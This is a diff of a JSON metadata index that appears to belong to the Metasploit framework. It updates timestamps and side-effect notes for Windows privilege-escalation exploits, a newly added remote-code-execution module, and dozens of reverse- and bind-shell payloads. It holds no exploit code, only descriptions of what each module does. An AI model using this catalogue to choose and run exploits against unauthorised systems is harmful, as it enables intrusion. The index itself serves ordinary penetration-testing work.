"ref_name": "windows/local/adobe_sandbox_adobecollabsync",
@@ -152104,7 +152682,7 @@
"Windows x86",
"Windows x64"
],
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/exploits/windows/local/bypassuac_injection.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_injection",
@@ -152764,7 +153342,7 @@
"unamer",
"timwr"
],
"description": "This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability\n within win32k which occurs due to an uninitalized variable, which allows user mode attackers\n to write a limited amount of controlled data to an attacker controlled address\n in kernel memory. By utilizing this vulnerability to execute controlled writes\n to kernel memory, an attacker can gain arbitrary code execution\n as the SYSTEM user.\n\n This module has been tested against Windows 7 x64 SP1. Offsets within the\n exploit code may need to be adjusted to work with other versions of Windows.\n The exploit can only be triggered once against the target and can cause the\n target machine to reboot when the session is terminated.",
"description": "This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability\n within win32k which occurs due to an uninitalized variable, which allows user mode attackers\n to write a limited amount of controlled data to an attacker controlled address\n in kernel memory. By utilizing this vulnerability to execute controlled writes\n to kernel memory, an attacker can gain arbitrary code execution\n as the SYSTEM user.\n\n This module has been tested against Windows 7 x64 SP1. Offsets within the\n exploit code may need to be adjusted to work with other versions of Windows.\n The exploit can only be triggered once against the target and can cause the\n target machine to reboot when the session is terminated.",
"references": [
"CVE-2019-1458",
"URL-https://github.com/unamer/CVE-2019-1458",
@@ -152784,7 +153362,7 @@
"targets": [
"Windows 7 x64"
],
"mod_time": "2021-08-27 17:15:33 +0000",
"mod_time": "2022-12-05 10:30:53 +0000",
"path": "/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2019_1458_wizardopium",
@@ -153120,7 +153698,7 @@
"targets": [
"Windows x64"
],
"mod_time": "2021-09-08 21:56:02 +0000",
"mod_time": "2022-12-05 10:30:53 +0000",
"path": "/modules/exploits/windows/local/cve_2020_1313_system_orchestrator.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_1313_system_orchestrator",
@@ -153128,6 +153706,16 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
],
"Reliability": [
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": [
"meterpreter"
@@ -153169,7 +153757,7 @@
"targets": [
"Automatic"
],
"mod_time": "2021-09-08 21:56:02 +0000",
"mod_time": "2022-12-05 10:30:53 +0000",
"path": "/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_1337_printerdemon",
@@ -153177,6 +153765,16 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
],
"Reliability": [
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": [
"meterpreter"
@@ -154229,7 +154827,7 @@
"Windows XP SP2 / SP3",
"Windows Server 2003 SP2"
],
"mod_time": "2021-09-08 21:56:02 +0000",
"mod_time": "2022-12-05 10:30:53 +0000",
"path": "/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb",
"is_install_path": true,
"ref_name": "windows/local/ms11_080_afdjoinleaf",
@@ -154239,6 +154837,13 @@
"notes": {
"Stability": [
"crash-os-restarts"
],
"Reliability": [
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": [
@@ -161245,6 +161850,58 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/misc/remote_control_collection_rce": {
"name": "Remote Control Collection RCE",
"fullname": "exploit/windows/misc/remote_control_collection_rce",
"aliases": [
],
"rank": 300,
"disclosure_date": "2022-09-20",
"type": "exploit",
"author": [
"h00die",
"H4rk3nz0"
],
"description": "This module utilizes the Remote Control Server's, part\n of the Remote Control Collection by Steppschuh, protocol\n to deploy a payload and run it from the server. This module will only deploy\n a payload if the server is set without a password (default).\n Tested against 3.1.1.12, current at the time of module writing",
"references": [
"URL-http://remote-control-collection.com",
"URL-https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/remote%20control%20collection/remote-control-collection-rce.py"
],
"platform": "Windows",
"arch": "x64, x86",
"rport": 1926,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"default"
],
"mod_time": "2022-10-28 15:03:39 +0000",
"path": "/modules/exploits/windows/misc/remote_control_collection_rce.rb",
"is_install_path": true,
"ref_name": "windows/misc/remote_control_collection_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"screen-effects"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_windows/misc/remote_mouse_rce": {
"name": "Remote Mouse RCE",
"fullname": "exploit/windows/misc/remote_mouse_rce",
@@ -170154,7 +170811,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/meterpreter_reverse_http",
@@ -170190,7 +170847,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/meterpreter_reverse_https",
@@ -170226,7 +170883,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/meterpreter_reverse_tcp",
@@ -170260,7 +170917,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/shell_reverse_tcp",
@@ -170296,7 +170953,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "apple_ios/armle/meterpreter_reverse_http",
@@ -170332,7 +170989,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "apple_ios/armle/meterpreter_reverse_https",
@@ -170368,7 +171025,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "apple_ios/armle/meterpreter_reverse_tcp",
@@ -170402,7 +171059,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "bsd/sparc/shell_bind_tcp",
@@ -170436,7 +171093,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "bsd/sparc/shell_reverse_tcp",
@@ -170573,7 +171230,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "bsd/x64/shell_bind_tcp",
@@ -170676,7 +171333,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "bsd/x64/shell_reverse_tcp",
@@ -171126,7 +171783,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/bsd/x86/shell_find_tag.rb",
"is_install_path": true,
"ref_name": "bsd/x86/shell_find_tag",
@@ -171404,7 +172061,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb",
"is_install_path": true,
"ref_name": "cmd/mainframe/apf_privesc_jcl",
@@ -171438,7 +172095,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb",
"is_install_path": true,
"ref_name": "cmd/mainframe/bind_shell_jcl",
@@ -171472,7 +172129,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/mainframe/generic_jcl.rb",
"is_install_path": true,
"ref_name": "cmd/mainframe/generic_jcl",
@@ -171506,7 +172163,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb",
"is_install_path": true,
"ref_name": "cmd/mainframe/reverse_shell_jcl",
@@ -171541,7 +172198,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-18 13:11:08 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_awk.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_awk",
@@ -171575,7 +172232,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_busybox_telnetd.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_busybox_telnetd",
@@ -171609,7 +172266,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_inetd.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_inetd",
@@ -171646,7 +172303,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_jjs.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_jjs",
@@ -171680,7 +172337,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_lua.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_lua",
@@ -171716,7 +172373,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_netcat.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_netcat",
@@ -171750,7 +172407,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_netcat_gaping",
@@ -171784,7 +172441,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_netcat_gaping_ipv6",
@@ -171818,7 +172475,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_nodejs.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_nodejs",
@@ -171853,7 +172510,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_perl.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_perl",
@@ -171888,7 +172545,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_perl_ipv6",
@@ -171922,7 +172579,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_r.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_r",
@@ -171956,7 +172613,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_ruby.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_ruby",
@@ -171990,7 +172647,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_ruby_ipv6",
@@ -172024,7 +172681,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_socat_udp.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_socat_udp",
@@ -172058,7 +172715,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_stub.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_stub",
@@ -172093,7 +172750,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_zsh.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_zsh",
@@ -172127,7 +172784,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/generic.rb",
"is_install_path": true,
"ref_name": "cmd/unix/generic",
@@ -172195,7 +172852,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/pingback_bind.rb",
"is_install_path": true,
"ref_name": "cmd/unix/pingback_bind",
@@ -172229,7 +172886,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/pingback_reverse.rb",
"is_install_path": true,
"ref_name": "cmd/unix/pingback_reverse",
@@ -172263,7 +172920,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/meterpreter/bind_tcp",
@@ -172298,7 +172955,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/meterpreter/bind_tcp_uuid",
@@ -172332,7 +172989,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/meterpreter/reverse_http",
@@ -172366,7 +173023,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/meterpreter/reverse_https",
@@ -172400,7 +173057,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/meterpreter/reverse_tcp",
@@ -172436,7 +173093,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/meterpreter/reverse_tcp_ssl",
@@ -172471,7 +173128,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/meterpreter/reverse_tcp_uuid",
@@ -172505,7 +173162,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/meterpreter_bind_tcp",
@@ -172539,7 +173196,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/meterpreter_reverse_http",
@@ -172573,7 +173230,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/meterpreter_reverse_https",
@@ -172607,7 +173264,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/meterpreter_reverse_tcp",
@@ -172642,7 +173299,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/pingback_bind_tcp",
@@ -172677,7 +173334,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/pingback_reverse_tcp",
@@ -172712,7 +173369,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/shell_bind_tcp",
@@ -172747,7 +173404,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/shell_reverse_tcp",
@@ -172782,7 +173439,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/shell_reverse_tcp_ssl",
@@ -172817,7 +173474,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-02-24 09:04:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/python/shell_reverse_udp",
@@ -172851,7 +173508,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse",
@@ -172887,7 +173544,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-18 13:11:08 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_awk.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_awk",
@@ -172921,7 +173578,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-11-12 10:46:16 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_bash.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_bash",
@@ -172955,7 +173612,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_bash_telnet_ssl",
@@ -172990,7 +173647,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-11-12 10:46:16 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_bash_udp.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_bash_udp",
@@ -173027,7 +173684,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_jjs.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_jjs",
@@ -173061,7 +173718,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_ksh.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_ksh",
@@ -173095,7 +173752,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_lua.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_lua",
@@ -173129,7 +173786,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_ncat_ssl",
@@ -173165,7 +173822,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_netcat.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_netcat",
@@ -173199,7 +173856,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_netcat_gaping",
@@ -173233,7 +173890,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_nodejs.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_nodejs",
@@ -173267,7 +173924,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_openssl.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_openssl",
@@ -173301,7 +173958,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_perl.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_perl",
@@ -173335,7 +173992,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_perl_ssl",
@@ -173369,7 +174026,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_php_ssl",
@@ -173403,7 +174060,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_python.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_python",
@@ -173437,7 +174094,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-08 10:26:27 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_python_ssl",
@@ -173471,7 +174128,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_r.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_r",
@@ -173505,7 +174162,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_ruby.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_ruby",
@@ -173539,7 +174196,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_ruby_ssl",
@@ -173573,7 +174230,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
